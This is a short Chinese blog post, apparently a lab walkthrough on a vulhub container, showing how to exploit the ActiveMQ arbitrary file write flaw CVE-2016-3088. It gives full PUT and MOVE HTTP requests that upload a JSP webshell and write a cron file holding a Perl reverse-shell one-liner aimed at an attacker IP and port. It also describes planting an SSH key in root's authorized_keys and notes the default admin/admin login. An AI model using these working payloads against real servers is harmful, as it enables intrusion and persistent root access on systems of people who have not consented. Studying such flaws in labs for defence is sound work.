ActiveMQ任意文件写入漏洞(CVE-2016-3088)

上传webshell

容器用vulhub的

PUT一个jsp文件

MOVE到api目录

默认的ActiveMQ账号密码均为admin,首先访问http://your-ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:

访问

其它利用方法--转

写入crontab,自动化弹shell

这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败)

PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.198.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};

将其移动到/etc/cron.d/root:

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

如果上述两个请求都返回204了,说明写入成功。等待反弹shell:

这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。

上传SSH公钥方式

既然可以任意文件上传和移动,很自然的可以想到上传我们的 ssh 公钥,从而实现 SSH 方式登录。

首先生成密钥对。(如果已存在则不需要)

然后上传、移动到/root/.ssh/并重命名为authorized_keys


之后直接ssh登录即可。

参考:https://paper.seebug.org/346/
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md

posted @ 2019-07-30 13:50  mrhonest  阅读(2874)  评论(2编辑  收藏  举报